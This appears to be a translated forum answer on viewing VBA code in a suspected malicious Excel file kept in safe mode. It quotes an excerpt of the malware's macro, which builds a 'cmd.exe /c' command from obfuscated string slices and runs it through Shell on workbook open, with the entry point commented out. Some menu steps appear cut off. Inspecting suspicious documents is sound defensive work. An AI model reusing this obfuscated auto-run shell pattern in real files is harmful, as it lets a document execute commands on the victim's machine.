Answers:
虽然来自Mokubai和hBy2Py的答案看起来不错,并且确实允许您显示VBA编辑器,但似乎至少从Microsoft Office Professional Plus 2016的 Excel中,您仍然无法查看代码。
我碰巧拥有该版本,而且我确定自己收到了恶意的XLS,并希望对其进行检查。在Excel中将其打开后,它会像往常一样以安全模式打开,当然我无意取消该模式。当我按照其他受访者的指示打开VBA编辑器时,看到的是... 空的VBA编辑器。尽管我尚未关闭XLS文件,“项目资源管理器”面板仍有助于显示“没有打开的项目”。只是为了测试,我打开了第二个文档(我的工作之一),该文档立即显示在VBA编辑器中,并且(完全)完全没有任何VBA。但是,来自Internet的文档未在VBA编辑器中列出。
我浪费了一些时间试图找出原因,却没有找到原因。似乎在以安全模式加载文档时,我的Excel版本根本不会将VBA模块发送到VBA编辑器。可悲的是,VBA编辑器缺少一些“从Office文档打开VBA”功能,因此很明显,Excel是这里的大脑,它必须首先解压缩/解码/处理任何XLS。
事实证明解决方案非常简单。
Ribbon
-> Developer
->MacroSecurity
File
-> Options
-> SecurityCenter
(最后一个选项组)-> Settings
-> Macros
)效果:
如果您很好奇:是的,那确实是恶意的,很小的例子:
Function marcopoloko()
marcopoloko = Left("CM to inches converter", 2) + Right("fed.ex", 4) + "e " + "/c" + numneroop + amagilocard
End Function
'Sub Workbook_Open()
'If xlTickMarkOutside > 0 Then
'Shell marcopoloko + """", xlXmlExportSuccess
'End If
'End Sub
顺便说一句。如您所见,如果我允许宏在某个时间点以后运行,我会立即注释掉入口点并重新保存文档。
Alt
+F11
会导致“! SECURITY WARNING ... Enable Content
”标语消失,这意味着现在已启用代码执行。这是误导。您可以通过使用on_open()
模块创建文档来进行演示。您将可以Alt
+F11
进入并检查代码,而无需触发事件。